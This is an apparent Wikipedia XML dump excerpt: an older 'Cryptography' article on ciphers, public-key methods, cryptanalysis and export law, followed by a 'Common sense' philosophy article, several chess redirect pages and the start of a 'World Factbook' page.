[[Image:SZ42-6-wheels.jpg|thumbnail|320px|The German Lorenz cipher machine]]'''Cryptography''' or '''cryptology''' is a field of [[mathematics]] and [[computer science]] concerned with [[information security]] and related issues, particularly [[encryption]].  Technically, &quot;cryptography&quot; refers to the techniques and &quot;cryptology&quot; refers to the study of them; despite this, the term &quot;cryptography&quot; is often used to refer to the field.  

Cryptography is an [[interdisciplinary]] subject, drawing from several fields. Older forms of cryptography were chiefly concerned with patterns in [[language]]. More recently, the emphasis has shifted, and cryptography makes extensive use of [[mathematics]], particularly [[discrete mathematics]], including topics from [[number theory]], [[information theory]], [[computational complexity]], [[statistics]] and [[combinatorics]].  Cryptography is also considered a branch of [[engineering]], but it is considered to be an unusual one as it deals with active, intelligent and malevolent opposition (see [[cryptographic engineering]] and [[security engineering]]).  Cryptography is a tool used within [[computer security|computer]] and [[network security]].

{{portal}}

==Terminology==
The term ''cryptography'' (from the [[Greek language|Greek]] ''kryptós'', &quot;hidden&quot;, and ''gráphein'', &quot;to write&quot;) is often used to refer to the field as a whole, as is ''cryptology'' (&quot;the study of secrets&quot;).   The study of how to circumvent the use of cryptography is called ''[[cryptanalysis]]'' or, loosely, ''codebreaking''.  The first recorded usage of the word 'cryptography' occurs in Sir [[Thomas Browne]]'s  Discourse of [[1658]] entitled [[The Garden of Cyrus]]: ''&quot;the strange Cryptography of [[Gaffarel]] in his Starrie Booke of Heaven&quot;''.

Classically, &quot;cryptography&quot; referred almost exclusively to ''[[encryption]]'' (sometimes also called ''encipherment'' or ''encoding''), the process of converting ordinary information (''[[plaintext]]'') into an unreadable ''[[ciphertext]]'' (sometimes ''codetext''). 
''[[Decryption]]'' (again, sometimes called ''decipherment'' or ''decoding''), is the reverse process, recovering the plaintext back from the ciphertext. 

A ''cipher'' is a set of [[algorithm]]s for encryption and decryption.  The exact operation of a cipher is normally controlled by a [[key (cryptography)|''key'']] &amp;mdash; a secret piece of information that customizes how the cipher algorithm works. 
The term ''[[cryptosystem]]'' is often used to refer to a cipher, along with a method for generating the key, particularly for public-key techniques (see below).  The term ''cypher'' is sometimes used instead of ''cipher,'' and similarly ''encypher,'' ''cyphertext'', and so on, though this usage has become infrequent in technical literature in the last two decades.  

In ordinary parlance, a (secret) &quot;[[code (cryptography)|code]]&quot; is often used synonymously with &quot;[[cipher]]&quot;. In cryptography, however, the term has a specifict meaning. A &quot;[[code]]&quot; is a method which involves substituting a unit of plaintext, typically meaningful words or phrases with a code word (for example, &quot;&lt;tt&gt;apple pie&lt;/tt&gt;&quot; replaces &quot;&lt;tt&gt;attack at dawn&lt;/tt&gt;&quot;). Codes are no longer used in serious cryptosystems since the best ciphers are more practical and secure, but codes are important in the modern study of [[error correction and detection|error correction]]. 

==History of cryptography and cryptanalysis==
''Main article'': [[History of cryptography]]
[[Image:Skytala&amp;EmptyStrip-Shaded.png|thumbnail|The Ancient Greek [[scytale]] may have been one of the earliest devices used to implement a cipher.]]

Historically, cryptography was concerned solely with ''[[encryption]]''; that is, means of converting [[information]] from its normal, comprehensible form into an incomprehensible format, rendering it unreadable without secret knowledge. Encryption was used primarily to ensure [[secrecy]] in important communications, such as those of [[spy|spies]], military leaders, and [[diplomat]]s. 
In recent decades, the field has expanded beyond secrecy to include techniques for [[authentication]], [[signature]]s, [[interactive proof]]s, [[secure multiparty computation|secure computation]], [[steganography]], and others.

Cryptography has had a long and colourful history. Generally, the earliest forms of secret writing (now collectively termed ''classical'' cryptography) required little more than pen and paper. The two main categories of classical ciphers are [[transposition cipher]]s, which rearrange the order of letters in a message, and [[substitution cipher]]s, which systematically replace letters or groups of letters with other letters or groups of letters. One of the earliest and simplest substitution ciphers was the [[Caesar cipher]], used by [[Julius Caesar]] during his military campaigns.  Cryptography was used primarily for military communications, but also had religious applications.  Early Christians used cryptography to help guard their religious writings to preserve them in the face of persecution.  Cryptography is also advocated in the [[Kama Sutra]] as a way for lovers to communicate without being discovered.  In addition to encryption, [[steganography]] was also developed in the ancient times.  While encryption attempts to render a message unreadable, steganography attempts to make a message ''undetectable.''  One example of such a technique, from [[Herodotus]], was to write a message as a tattoo on a slave's head, concealed by regrown hair.  

Ciphertexts produced by these classical ciphers reveal statistical information about the plaintext, which is usable to break them. After the Arab discovery of [[frequency analysis]] (circa 1000), nearly all such ciphers were more or less readily readable by an informed attacker. Classical ciphers still enjoy popularity today, though mostly as [[puzzle]]s (see [[cryptogram]]).  Ciphers remained vulnerable to cryptanalysis by this technique until the invention of the [[polyalphabetic cipher]] by [[Leon Battista Alberti]], in 1467, in which different parts of the message would be encrypted differently.  In the polyalphabetic [[Vigenère cipher]], for instance, encryption is performed by using a ''key word'', and different letters are encoded differently depending on which letter of the key word it aligns with.  Despite this improvement, polyalphabetic ciphers were still partially vulnerable to frequency analysis techniques.

Although frequency analysis was a very powerful technique, cryptography was still effective in practice, as in many cases, the holder of an enciphered message would be unaware of the technique used to create it.  Although this may work, it was recognized in the [[19th century]] that this was not the ideal state of affairs: in principle, a good cipher should still be secure if the adversary knows the cipher itself; the [[key (cryptography)]] should represent all the information unknown to the adversary.  This is called [[Kerchoff's law]].  

[[Image:Nsa-enigma.jpg|240px|thumbnail|left|The [[Enigma machine]], used by Germany in [[World War II]], implemented a complex [[cipher]] to protect sensitive communications.]]

Various physical devices and aids have been used for encryption in order to assist in the computation of the ciphers. One of the earliest may have been the [[scytale]], a rod used in [[ancient Greece]] as an aid for a transposition cipher. In medieval times, other aids were invented such as the [[Cardan grille]] for steganography.  With the invention of polyalphabetic ciphers came more sophisticated aids such as Alberti's [[cipher disk]] and [[Johannes Trithemius]]' [[tabula recta]].  Early in the 20th century, several mechanical devices were invented for performing encryption, including [[rotor machine]]s &amp;mdash; most famously the [[Enigma machine]] used by Germany in [[World War II]]. The ciphers these machines implemented brought about a significant increase cryptanalytic difficulty.

With the advent of digital computers and [[electronics]], much more complex ciphers could be implemented. A characteristic of computer ciphers is that they operate on [[Binary numeral system|binary]] strings, unlike classical and mechanical schemes, which use more traditional alphabets.  However, with these advantages came certain disadvantages, as computers could also be used for  cryptanalysis.  Nonetheless, modern ciphers have stayed ahead of cryptanalysis: it is usually the case that using a cipher is very efficient, while breaking it takes expontial effort.

Extensive academic research into modern cryptography is relatively recent &amp;mdash; it began in the open community only as recently as the 1970s with the public release of the specifications for the [[Data Encryption Standard]] (DES) and the invention of [[RSA]]. Since then, cryptography has become a widely-used tool in communications, computer networks, and computer security generally.  The security of many modern cryptographic techniques is based on the hardness of certain computational problems, such as the [[integer factorization]] problem or the [[discrete logarithm]] problem.  In many cases, there are proofs that cryptographic techniques are secure ''if'' a certain computational problem cannot be solved efficiently.  In this way, the security of many modern cryptographic techniques are tied to the [[P=NP]] problem.

As well as noting lessons from its history, cryptographers must also be careful to consider the future. [[Moore's law]] is normally taken into account when specifying [[key length]]s, and the potential effects of [[quantum computing]] are already being considered by good cryptographic system designers.

==Modern cryptography==

The modern field of cryptography can be broken down into several areas of study.  The following are the main ones, but they are not the only ones.

===Symmetric-key cryptography===
''Main article'': [[Symmetric key algorithm]]

Symmetric-key cryptography refers to encryption methods in which both the sender and receiver share the same key (or in which their keys are different, but related in an easily computable way).  Other terms include ''secret-key'', ''private-key'', ''one-key'' and ''single-key'' cryptography.  This was the only kind of encryption known for all of recorded history until 1976.  

[[Image:SAFER.png|thumbnail|One iteration (out of 6&amp;ndash;10) of the block cipher [[SAFER]]-K. Modern computer-implemented ciphers can be a lot more complex than those performed by hand or electromechanical machines.]]
The study of modern symmetric-key cryptography relates mainly to the study of [[block ciphers]] and [[stream ciphers]] and their applications.  A [[block cipher]] is the modern form of a polyalphabetic cipher: block ciphers take a block of plaintext data and a key, and output a block of ciphertext data of the same size.  Block ciphers are not secure cryptosystems themselves (by modern standards, it is unacceptable for the encryption of a single plaintext to always be the same), but may be used in a [[Block cipher modes of operation|mode of operation]] such as [[cipher block chaining|CBC mode]] to implement secure encryption.  [[DES]] and [[AES]] are block ciphers accepted as [[cryptography standards]], but many others have been proposed; see [[:Category:Block ciphers|Category:Block ciphers]].

Stream ciphers, by contrast, use a key but no plaintext input, and produce a [[Cryptographically secure pseudorandom number generator|pseudorandom]] output stream.  To encrypt with a stream cipher, the output is combined with the plaintext, as in the  [[one-time pad]].  [[RC4]] is an example of a well-known stream cipher; see [[:Category:Stream ciphers|Category:Stream ciphers]].

Symmetric-key cryptography encompasses problems other than encryption, mainly those that can be accomplished with block ciphers.  For instance:

* [[Cryptographic hash functions]] take a long input (often a message) and output a short [[hash function|hash]] of it.  Despite that infintitely many [[hash collision]]s must exist (pairs of inputs that lead to the same output), they should be difficult for any efficient algorithm to find.  [[MD5]] and [[SHA-1]] are well-known examples of cryptographic hash functions; see [[:Category:Cryptographic hash functions|Category:Cryptographic hash functions]].

* [[Message authentication code]]s (MACs) are much like cryptographic hash functions, except that a secret key is needed to compute the value.  As the name suggests, MACs can be used for ''message authentication''.

===Public-key cryptography===
''Main article'': [[Public-key cryptography]]

Symmetric-key cryptosystems either use the same key for encryption and decryption, or the key used for decryption is easily calculated from the key used for encryption.  The main drawback of symmetric ciphers is that the two communicating parties must share a secret key: it may be difficult to initially establish the secret.  In a groundbreaking 1976 paper, [[Whitfield Diffie]] and [[Martin Hellman]] proposed the notion of ''public-key'' cryptography in which two different but related keys are used: one for encryption and one for decryption (public-key cryptography is also called ''asymmetric-key'' cryptography because of the difference between the keys).  In a public-key cryptosystem, the encryption key may be freely distributed, as long as the decryption key remains secret, hence, the encryption key is the ''public key'' and the decryption key is the ''private'' or ''secret key''.  Diffie and Hellman showed that public-key cryptography was possible by presenting the [[Diffie-Hellman]] key exhange protocol.  In [[1978]], [[Ronald Rivest]], [[Adi Shamir]], and [[Len Adleman]] invented [[RSA]], the first public-key cipher.  However, in [[1997]], it became known that asymmetric cryptography was first invented secretly at [[GCHQ]], a [[UK|British]] intelligence organization, in the early [[1970s]], and that both Diffie-Hellman and RSA had been previously discovered in secret (by [[Malcolm Williamson]] and [[Clifford Cocks]], respectively).  

[[RSA]], in addition to being the first known example of a public-key cryptosystem, is also one of the most popular.  Other popular public-key cryptosystems include the [[Cramer-Shoup cryptosystem]] and various [[Elliptic curve cryptography|elliptic curve techniques]].  See [[:Category:Asymmetric-key cryptosystems|Category:Asymmetric-key cryptosystems]]

In addition to encryption, public-key cryptography includes [[digital signature]]s.  A digital signature is meant to be digital version of a [[signature]], which should be easy for the correct user to produce, but difficult for anyone else to [[forgery|forge]].  However, digital signatures surpass this notion by incorporating the message to be signed in the computation of a signature: thus, digital signatures cannot simply be moved from one document to another.  In a digital signature scheme, there are two algorithms: one for ''signing'', in which the secret key is combined with the message, and one for ''verification,'' in which the public key is used to compare the digital signature to the message.  [[RSA]] can also be used for digital signatures, and some schemes such as [[DSA]] and [[ElGamal signature scheme|ElGamal signatures]] are designed especially for signatures.  Digital signatures are central to the operation of [[public key infrastructure]] and many network security schemes (e.g., [[Kerberos (protocol)|Kerberos]], most [[VPN]]s, etc).  

Public-key algorithms are most often based on the [[computational complexity]] of [[number theory]] problems.  Because of this, 
most public-key algorithms involve operations like [[modular arithmetic|modular]] multiplication and exponentiation, which are much more expensive than the techniques used to create block ciphers.  As such, public-key cryptosystems are usually used in a hybrid system, in which a fast symmetric cipher is used for the bulk of the message, while the symmetric key used is sent with the message, encrypted using the public-key cipher.  Similarly, hybrid signature schemes are often used, in which a cryptographic hash function is computed, and only the resulting hash is digitally signed.  

===Cryptanalysis===
''Main article'': [[Cryptanalysis]]

The goal of cryptanalysis is to find some weaknesses or insecurity in a cryptographic scheme. Cryptanalysis might be undertaken by a hostile attacker, attempting to subvert a system; or by the system's designer (or others) wishing to evaluate whether a system is secure.  In modern practice, however, cryptographic techniques usually come with proofs that establish security of the system (at least, under clear and hopefully reasonable assumptions).

It's a common fallacy that every encryption method can be broken by someone, even if we include intelligence agencies such as the [[NSA]]. For instance, [[Claude Shannon]] proved that the one-time pad cipher is unbreakable, provided the key material is truly [[random numbers|random]], never reused, kept secret from all possible attackers, and of equal or greater length than the message.  Apart from the one-time pad, most encryption can be broken with enough computational effort, but the amount of effort needed to break a cipher may be exponential compared to the amount of effort needed to ''use'' the cipher.  In such cases, security can still be achieved if the parameters (such as key length) are large enough that the exponential effort is beyond the estimated ability of the adversary.

There are a wide variety of cryptanalytic attacks, and they can be classified in several ways. One distinction concerns what an attacker can know and do in order to learn secret information.  In a [[ciphertext-only attack]], the cryptanalyst has access only to the ciphertext (modern cryptosystems are usually immune to ciphertext-only attacks).  In a [[known-plaintext attack]], the cryptanalyst has access to a ciphertext and its corresponding plaintext (or many such pairs).  In a [[chosen-plaintext attack]], the cryptanalyst may chose a plaintext and learn its corresponding ciphertext (perhaps many times).  Finally, in a [[chosen-ciphertext attack]], the cryptanalyst may choose ciphertexts and learn their corresponding plaintexts.

Cryptanalysis of symmetric-key techniques typically involves looking for attacks against block ciphers or stream ciphers that are better than should exist for a perfect cipher.  For example, a brute force attack against DES would take one known plaintext and 2&lt;sup&gt;55&lt;/sup&gt; operations, to try approximately half of the possible keys.  However, one attack against DES requires 2&lt;sup&gt;50&lt;/sup&gt; known plaintexts and 2&lt;sup&gt;50&lt;/sup&gt; operations to recover the secret key.  [[Differential cryptanalysis]] and [[linear cryptanalysis]] are some recent important techniques in the cryptanalysis of block ciphers.

Public-key techniques are all based on the difficulty of various computational problems.  The most famous of these  is the problem of [[integer factorization]] (the RSA cryptosystem is based on a problem related to factoring), but the [[discrete logarithm]] problem is also especially important.  Much of the important public-key cryptanalysis concerns numerical algorithms for solving these computational problems efficiently.  For instance, the best algorithms for solving the [[elliptic curve cryptography|elliptic curve-based]] version of discrete logarithm are much worse than the best known algorithms for factoring.  Therefore, to achieve an equivalent strength, factoring-based techniques need to use larger keys than elliptic curve techniques.  For this reason, public-key cryptosystems based on elliptic curves have become popular in the last 15 years.

While pure cryptanalysis uses weaknesses in the algorithms themselves, other attacks are based upon the [[implementation]], known as ''[[side-channel attack]]s''. If a cryptanalyst has access to, say, the amount of time the algorithm took to encrypt a number of plaintexts, he may be able to use a [[timing attack]] to break a cipher that is otherwise resistant to analysis. An attacker also might consider studying the pattern and length of messages to derive valuable information; this is known as [[traffic analysis]].

===Cryptographic primitives===

{{unsolved|computer science|One-way functions are [[function (mathematics)|functions]] that are easy to compute but hard to invert. '''''Do [[one-way function]]s exist?'''''}}
Much of the theoretical work in cryptography concerns cryptographic ''primitives'' &amp;mdash; algorithms that have basic cryptographic properties &amp;mdash; and their relathionship to other cryptographic problems.  For example, a [[one-way function]] is a [[function (mathematics)|function]] that is easy to compute but hard to invert.  In order for any cryptographic application to be secure (if based on computational assumptions), one-way functions must exist.  However, if one-way functions exist, it implies that [[Complexity classes P and NP|P ǂ NP]].  Since the P versus NP problem is unsolved, we don't know if one-way functions exist.  If they do, however, we can build other cryptographic tools from them.  For instance, if one-way functions exist, then [[Cryptographically secure pseudorandom number generator|pseudorandom generators]] and pseudorandom functions exist.  

Other cryptographic primitives include [[one-way permutation]]s, [[trapdoor permutation]]s, and [[oblivious transfer]] protocols.  

===Cryptographic protocols===

In some cases, cryptographic techniques involve back and forth communication among two or more parties.  The term ''cryptographic protocol'' captures this general idea.  Cryptographic protocols exist for a wide range of problems, including relatively simple ones like [[interactive proof]]s, [[secret sharing]], and [[zero-knowledge]], and much more complex ones like [[electronic cash]] and [[secure multiparty computation]].  Cryptography can be used to implement [[digital rights management]] which has been used in an attempt to enforce, via cryptographic routines and schemes, a copyright holder's exclusive right to copy and distribute created works, including movies and music recordings.

When the security of a cryptographic system fails, it is rare that a weakness in the cryptographic algorithms is the weakness which was exploited. More often, it is a mistake in the implementation (a program [[bug]]), a failure of the assumptions needed for security, or some other human error. The study of how best to implement and integrate cryptography is a field in itself, see: [[cryptographic engineering]] and [[security engineering]].

==Legal issues==

Because of its potential to disrupt national intelligence-gathering and [[law enforcement]], and because of its impact on [[privacy]], there has been a history of controversial legal issues surrounding cryptography ever since the advent of computers.  

One particularly important issue has been the [[export of cryptography]] and cryptographic software and hardware.  Because of the importance of cryptanalysis in [[World War II]], many western governments have strictly regulated the export of cryptography because of national security concerns.  For instance, after World War II in the US, it was illegal to sell or freely distribute encryption technology overseas; in fact, encryption was classified as a [[munition]].  Until the advent of the [[personal computer]] and the [[internet]], this was not especially problematic.  However, as the internet grew, most standard encryption techniques became well-known globally, and these export restrictions became an impediment to research.  In the [[1990s]], several challenges were launched against export regulations of cryptography.  [[Phil Zimmermann]] distributed the [[PGP]] cryptosystem on the internet in [[1991]].  [[Daniel Bernstein]], a graduate student at [[UC Berkeley]], brought a [[Bernstein v. United States|lawsuit]] against the government challenging the restrictions on free speech grounds in [[1995]].  Cryptography exports are less regulated now than in the past.  See [[Export of cryptography]] for more details.

Another contentious issue in cryptography in the United States was the [[National Security Agency]] and its involvement in the development of ciphers.  The NSA was involved with the design of [[Data Encryption Standard|DES]], for instance.  DES was built to be secure against [[differential cryptanalysis]], a cryptanalytic technique that was known to the NSA but was not known in academic circles at the time.  Later, the NSA stirred up further controversy in [[1993]] when it espoused the [[Clipper chip]], an encryption microchip.  Clipper was criticized for two reasons: first of all, the cipher itself was classified (the cipher, called [[Skipjack (cipher)|Skipjack]] was declassified in 1998 after the Clipper initiative failed).  This led to concerns that the NSA had made the cipher weak on purpose in order to assist its intelligence efforts, and also to criticism of the initiative based on [[Kerchoff's law]].  Second, the chip included a special [[key escrow|escrow key]] held by the government for use in wiretaps.  See [[Clipper chip]] for more information.

Cryptography is important in the technological enforcement of [[digital rights management|digital rights]].  In [[1998]], [[Bill Clinton]] signed the [[Digital Millenium Copyright Act]] (DMCA), which criminalized the production and dissemination of certain cryptanalytic techniques and technology, specifically, those that could be used to circumvent DRM (digital rights management) technology.  This had a very serious potential impact on the cryptography community: after all, an argument could be made that virtually ''any'' cryptanalytic research violated the DMCA.  The [[FBI]] has not enforced the DMCA this rigorously, but nonetheless, it remains a contentious issue in the cryptography community.  

The [[Electronic Frontier Foundation]] is often involved in legal challenges relating to cryptography.

==References==
* [[James Gannon]], ''Stealing Secrets, Telling Lies:  How [[Espionage|Spies]] and [[Cryptology|Codebreakers]] Helped Shape the [[Twentieth Century]]'', Washington, D.C., Brassey's, 2001, ISBN 1-57488-367-4.
* [[David Kahn]], [[The Codebreakers]], 1967, ISBN 0684831309.
* A. J. Menezes, P. C. van Oorschot, and S. A. Vanstone, Handbook of Applied Cryptography ISBN 0849385237 [http://cacr.math.uwaterloo.ca/hac/]. 
* [[Bruce Schneier]], Applied Cryptography, 2nd edition, Wiley, 1996, ISBN 0471117099.
* [[H.X. Mel]] and [[Doris Baker]], Cryptography Decrypted, Addison Wesley, 2001, ISBN 0-201-616475.
* [[Simon Singh]], The Code Book - The Secret History of Codes and Code-Breaking, 1st Edition, Wiley, 2000, ISBN 1-85702-889-9.

==See also==
* [[Topics in cryptography]] &amp;mdash; an analytical list of articles and terms.
* [[Books on cryptography]] &amp;mdash; an annotated list of suggested readings.
* [[List of cryptographers]] &amp;mdash; an annotated list of cryptographers.
* [[List of important publications in computer science#Cryptography|Important publications in cryptography]] &amp;mdash; some cryptography papers in computer science.
* [[List of open problems in computer science#Cryptography|Open problems in cryptography]]
* [[List of cryptography topics]] &amp;mdash; an alphabetical list of cryptography articles.
* [[Export of cryptography]]
* [[History of cryptography]]
* [[International Association for Cryptologic Research]]

==External links==
* [http://homepage.cs.uri.edu/research/cryptography/ Cryptography introduction, with several examples]
* [http://www.iacr.org/ International Association for Cryptologic Research]
* [http://www.cs.ut.ee/~helger/crypto/ Helger Lipmaa's cryptography pointers]
* [http://www.rsasecurity.com/rsalabs/faq/index.html RSA Laboratories' FAQ About today's cryptography ] essentially elementary coverage
* [http://www.mindspring.com/~schlafly/crypto/faq.htm sci.crypt mini-FAQ (more recent)]
* [http://www.quadibloc.com/crypto/intro.htm Savard's glossary] an extensive and detailed view of cryptographic history with emphasis on crypto devices
* [http://www.cryptool.org Open source project CrypTool] - Exhaustive educational tool about cryptography and cryptanalysis, freeware.
* [http://www.cryptographyworld.com Cryptography World] - A very basic guide to cryptography and key management.
* [http://www.cacr.math.uwaterloo.ca/hac/ Handbook of Applied Cryptography] (Free to download as .pdf)
* [http://www.techworld.com/security/features/index.cfm?featureid=993 Techworld Elementary Primer: What is Encryption?]
* [http://www.jablon.org/passwordlinks.html Links for password-based cryptography]
* [http://www.elfqrin.com/codecracker.html Code Cracker] Online tool to Crack many classic encryption codes (up to the XIX century)
* [http://rechten.uvt.nl/koops/cryptolaw/ Crypto Law Survey] Extensive survey of existing and proposed laws and regulations on cryptography by legal expert Dr. Bert-Jaap Koops (Tilburg University)
* [http://www.nsa.gov/kids/ NSA's CryptoKids]
* [http://www.murky.org/archives/cryptography/ Beginners' Guide to Cryptography]
* [http://www.garykessler.net/library/crypto.html An Overview of Cryptography]
* [http://www.hermetic.ch/crypto/intro.htm An Introduction to the Use of Encryption]

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[[Category:Cryptography]]
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    <title>Common sense</title>
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:''For the American independence advocacy pamphlet by Thomas Paine, see [[Common Sense (pamphlet)]]''

:''For the American hip-hop artist, see [[Common (rapper)|Common]]''

One meaning of the term '''common sense''' (or as an [[adjective]], ''commonsense'') on a strict construction of the term, is what people in common would agree; that which they &quot;sense&quot; in common as their common natural understanding.  Some use the phrase to refer to [[belief]]s or [[proposition]]s that in their opinion they consider would in most people's experience be [[prudence|prudent]] and of sound [[judgment]], without dependence upon [[esoteric knowledge]] or study or research, but based upon what is believed to be knowledge held by people &quot;in common&quot;.  The knowledge and experience most people have, or are believed to have by the person using the term.

Whatever definition is considered apt, identifying particular items of knowledge that are &quot;common sense&quot; is more difficult.  [[Philosopher]]s may choose to avoid using the phrase where precise language is required.  Common sense is a perennial topic in [[epistemology]] and widely used or referred to by many philosophers.  Some related concepts include [[philosophical intuition|intuition]]s, [[pre-theoretic belief]], [[ordinary language philosophy|ordinary language]], the [[frame problem]], [[foundational belief]]s, ''[[endoxa]],'' and [[axiom]]s.

Commonsense ideas tend to relate to events within human experience, and thus commensurate with [[human scale]]. Thus there is no commonsense intuition of, for example, the behavior of the universe at subatomic distances or speeds approaching that of light.

== Philosophy and common sense ==
There are two general meanings to the term &quot;common sense&quot; in philosophy.  One is a sense that is common to the others, and the other meaning is a sense of things that is common to humanity.

The first meaning was proposed by [[John Locke]] in his ''[[An Essay Concerning Human Understanding]],''.  This interpretation is based on [[phenomenology|phenomenological]] experience. Each of the senses gives input, and then these must be integrated into a single impression.  This is the common sense, the sense of things in common between disparate impressions.  It is therefore allied with &quot;fancy&quot;, and it is opposed to &quot;judgment&quot;, or the capacity to divide like things into separates.  Each of the [[Empiricism|empiricist]] philosophers approach the problem of the unification of sense data in one's own way, giving various names to the operation.  However, all believe that there is a sense in the human understanding that sees commonality and does the combining.  This is the &quot;common sense&quot;.

Two philosophers are most famous for advocating the other meaning of &quot;common sense&quot;, the view (to state it imprecisely) that common sense beliefs are true and form a foundation for philosophical inquiry: [[Thomas Reid]], [[G. E. Moore]].

The Scottish philosopher Thomas Reid, a contemporary of [[David Hume|Hume]] and the founder of the so-called [[Scottish School of Common Sense]], devotes considerable space in his ''Inquiry'' and the ''Intellectual Powers'' developing a theory of common sense.  While he never gives a definition, ''per se'', he does offer a number of so-called &quot;earmarks&quot; of common sense (which he sometimes calls &quot;principles of common sense&quot;), such as

*principles of common sense are believed universally (with the apparent exceptions of some philosophers and the insane);
*it is appropriate to ridicule the denial of common sense;
*the denial of principles of common sense leads to contradictions.

Of course, each of these is stated and explained by Reid much more carefully than is done here.

The British philosopher [[G. E. Moore]], who did important work in [[epistemology]], [[ethics]], and other fields near the beginning of the twentieth century, is famous for a programmatic essay, &quot;A Defence of Common Sense&quot;.  This essay had a profound effect on the methodology of much twentieth-century Anglo-American philosophy.  In this essay, Moore lists several seemingly very obvious truths, such as &quot;There exists at this time a living human body which is my body.&quot;, &quot;My body has existed continuously on or near the earth, at various distances from or in contact with other existing things, including other living human beings.&quot;, and many other such platitudes.  He argues (as Reid did before him) that these propositions are much more obviously true than the premises of many philosophical claims which entail their falsehood (such as the claim that time does not exist, a claim of [[A. N. Whitehead]]'s).

Both Reid and Moore, individually, are famous for appealing to common sense to refute [[skepticism]].

Appeal to common sense is characteristic of a general epistemological orientation called [[epistemological particularism]] (The appellation comes from Roderick Chisholm.), which orientation is contrasted with [[epistemological methodism]].  The particularist gathers a list of propositions that seem obvious and unassailable and then requires consistency with this set of propositions as a condition of adequacy for any abstract philosophical theory.  (An entry on the list, however, may be eventually rejected for inconsistency with other, seemingly more secure, entries.)  Methodists, on the other hand, begin with a theory of cognition or justification and then apply it to see which of our pre-theoretical beliefs survive.  Reid and Moore are paradigmatic particularists, while Descartes and Hume are paradigmatic methodists.  Methodist methodology tends toward skepticism, as the rules for acceptable or rational belief tend to be very restrictive (for instance, being incapable of doubt for Descartes, or being constructible entirely from impressions and ideas for Hume).  Particularist methodology, on the other hand, tends toward a kind of conservatism, granting perhaps an undue privilege to beliefs we happen to be confident about. 

An interesting question is whether the methodologies can be mixed.  For instance, it seems impossible to do [[logic]], [[metaphysics]] and [[epistemology]] without beginning with some assumptions of common sense.  However, particularism applied to ethics and politics often seems simply to entrench prejudice and other contingent products of social inculcation.  Is there a way to provide a principled distinction between areas of inquiry where reliance on the dictates of common sense is legitimate (because necessary) and areas where it is illegitimate because it is an obstruction to intellectual and practical progress?

The topic of common sense raises interesting and important questions in a field closely related to [[epistemology]] and [[philosophy of language]] called &quot;[[meta-philosophy]]&quot;.  Various questions might be raised in a meta-philosophical discussion of common sense: What is common sense?  Supposing that a precise characterization of it cannot be given, does that mean appeal to common sense is off-limits in philosophy?  Why should we care whether a belief is a matter of common sense or not?  Under what circumstances, if any, is it permissible to advocate a view that seems to run contrary to common sense?  Should considerations of common sense play ''any'' decisive role in philosophy?  If not common sense, then should any other similar concept such as &quot;[[intuition]]&quot; play such a role?  In general, are there &quot;[[philosophical starting point]]s&quot;, and if so, how might we characterize them?  Supposing that there are no beliefs we are willing to [[hold come what may]], are there some we ought to [[hold more stubbornly at least]]?

==Other uses==

Common sense is sometimes regarded as an impediment to abstract and even logical thinking.  This is especially the case in [[mathematics]] and [[physics]], where human intuition often conflicts with provably correct or experimentally verified results.  A definition attributed to [[Albert Einstein]] states: &quot;Common sense is the collection of prejudices acquired by age eighteen.&quot;

Common sense is sometimes appealed to in political debates, particularly when other arguments have been exhausted.  [[Civil rights]] for [[African Americans]], [[women's suffrage]], and [[homosexuality]]—to name just a few—have all been attacked as being contrary to common sense.  Similarly, common sense has been invoked in opposition to many scientific and technological advancements.  Such misuse of the notion of common sense is fallacious, being a form of the ''[[Appeal to belief|argumentum ad populum]]'' (appeal to the masses) [[logical fallacy|fallacy]].

==Projects to collect common sense==
The [[Cyc]] project is an attempt to provide a basis of commonsense knowledge for [[artificial intelligence]] systems. The [[Open Mind Common Sense]] project is similar except, like other on-line collaborative projects like [[Wikipedia]], was built from the contributions of thousands of individuals across the Web.

== See also ==
{{wikiquote}}
*[[Antonio Gramsci]]
*[[appeal to tradition]]
*[[common sense and the Diallelus]]
*[[common sense conservative]]
*[[convention]]
*[[counterintuition]]
*[[frame problem]]
*[[John Ralston Saul]]
*[[Norm_(sociology)|social norm]]

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      <timestamp>2002-04-04T11:14:54Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Knight (chess)]]
</text>
    </revision>
  </page>
  <page>
    <title>Chess/Rook</title>
    <id>5157</id>
    <revision>
      <id>15903387</id>
      <timestamp>2002-04-04T10:55:00Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Rook (chess)]]
</text>
    </revision>
  </page>
  <page>
    <title>Chess/Pawn</title>
    <id>5158</id>
    <revision>
      <id>15903388</id>
      <timestamp>2002-04-04T11:34:16Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Pawn (chess)]]
</text>
    </revision>
  </page>
  <page>
    <title>Chess/WorldChampions</title>
    <id>5159</id>
    <revision>
      <id>15903389</id>
      <timestamp>2002-10-09T13:36:08Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[List of chess world championship matches]]</comment>
      <text xml:space="preserve">#REDIRECT [[List of chess world championship matches]]</text>
    </revision>
  </page>
  <page>
    <title>Chess/Clock</title>
    <id>5160</id>
    <revision>
      <id>15903390</id>
      <timestamp>2002-10-05T17:05:09Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Game clock]]</text>
    </revision>
  </page>
  <page>
    <title>Chess/Strategy and Tactics</title>
    <id>5162</id>
    <revision>
      <id>15903392</id>
      <timestamp>2002-04-03T10:38:59Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>De-subpaging</comment>
      <text xml:space="preserve">#REDIRECT [[Chess strategy and tactics]]
</text>
    </revision>
  </page>
  <page>
    <title>The World Factbook</title>
    <id>5163</id>
    <revision>
      <id>41271339</id>
      <timestamp>2006-02-26T05:08:20Z</timestamp>
      <contributor>
        <username>Vedek Dukat</username>
        <id>695203</id>
      </contributor>
      <minor />
      <comment>non-governmental*</comment>
      <text xml:space="preserve">[[Image:Wfbcover.jpg|thumb|World Factbook 2005 cover]]
